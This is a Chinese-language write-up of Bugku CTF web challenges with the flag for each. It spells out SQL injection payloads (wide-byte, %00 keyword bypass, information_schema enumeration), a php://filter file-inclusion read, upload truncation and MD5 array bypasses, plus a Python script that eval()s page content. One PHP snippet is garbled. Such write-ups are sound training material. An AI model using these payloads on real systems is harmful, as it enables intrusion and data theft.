Web2
最直接的办法:F12打开控制台,ctrl+f搜索flag关键字得到flag:KEY{Web-2-bugKssNNikls9100}
第二种是禁用当前页面的JS,然后查看源码看到flag
第三种直接在url前面加上view-source:,即直接访问view-source:http://120.24.86.145:8002/web2/也可以查看源码
文件上传测试
设置好浏览器代理用burpsuite劫持数据包
选择好文件上传
尝试%00截断
拿到flag:Flag:42e97d465f962c53df9549377b513c7e
计算题
查看源码可知对输入长度做了限制。我们进行修改
成功拿到flag:flag{CTF-bugku-0032}
web基础$_GET
打开看到如下页面,已经告诉我们源码
因此直接构造payload
120.24.86.145:8002/get/?what=flag
拿到flag:flag{bugku_get_su8kej2en}
web基础$_POST
打开看到源码
这次是需要POST提交,因此用hackbar模拟
拿到flag:flag{bugku_get_ssseint67se}
矛盾
_GET['num'];
if(!is_numeric(num;
if(num就能拿到flag,URL访问:http://120.24.86.145:8002/get/index1.php?num=1'
flag:flag{bugku-789-ps-ssdf}
Web3
打开后发现一直弹窗,我们禁止弹窗然后查看源码
用js写的代码一直弹窗,底部有一串unicode字符应该是flag
解码后得到flag:KEY{J2sa42ahJK-HS11III}
sql注入
右键查看源码
发现是gb2312编码,题目是sql注入,猜测是宽字节注入
爆数据库payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()--+
最终payload:http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string from sql5.key--+
flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}
域名解析
提示很清楚,将flag.bugku.com解析到120.24.86.145即可拿到flag
因此我们修改hosts文件将flag.bugku.com解析到120.24.86.145,添加如下规则
再次访问flag.bugku.com
拿到flag:KEY{DSAHDSJ82HDS2211}
SQL注入1
使用%00绕过关键字
爆出数据库为sql3:
http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%20fr%00om%20sql3.key%23
最终payload:http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fr%00om sql3.key%23
flag:KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
你必须让他停下
BurpSuite抓包直接Repeater几次
flag:flag{dummy_game_1s_s0_popular}
本地包含
http://120.24.86.145:8003/?hello=file(%22flag.php%22)
flag:flag{bug-ctf-gg-99}
变量1
利用超全局数组GLOBALS可以打印出所有变量
http://120.24.86.145:8004/index1.php?args=GLOBALS
flag:flag{92853051ab894a64f7865cf3c2128b34}
Web5
查看源代码
隐藏了一段字符,查资料得知是JS代码经过jsfuck编码的格式,我们复制到控制台执行
可以看到ctf{whatfk},提示字母大写,flag:CTF{WHATFK}
Web4
根据提示查看源代码
可以看到这是一段JS的代码,定义了两个变量,并且经过了url编码,我们用burpsuite解码得到一段代码
可以看到密码为67d709b2baa648cf6e87a7114f1,提交一下发现不对,应该是少了一部分,仔细再看看源码发现要在变量p2前面加上%35%34%61%61%32再进行解码
这才是正确的密码
提交得到flag:KEY{J22JK-HS11}
flag在index里
看到file参数想到文件包含漏洞
payload:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回的就是index.php的源代码的base64编码,解码得到flag
flag:flag{edulcni_elif_lacol_si_siht}
备份是个好习惯
看到备份,首先想到源码泄露,访问一下http://120.24.86.145:8002/web16/index.php.bak,发现可以下载到源码
MD5比较绕过,只不过加了一点过滤。访问:http://120.24.86.145:8002/web16/?kkeyey1[]=a&kkeyey2[]=b
flag:Bugku{OH_YOU_FIND_MY_MOMY}
成绩单
打开看到一个表单,首先想到SQL注入
爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
爆flag:-1' union select 1,skctf_flag,3,4 from fl4g#
flag:BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司机
直接用脚本计算出来然后POST提交
import re
import requests
s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^(.*)=\?;$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)
flag:Bugku{YOU_DID_IT_BY_SECOND}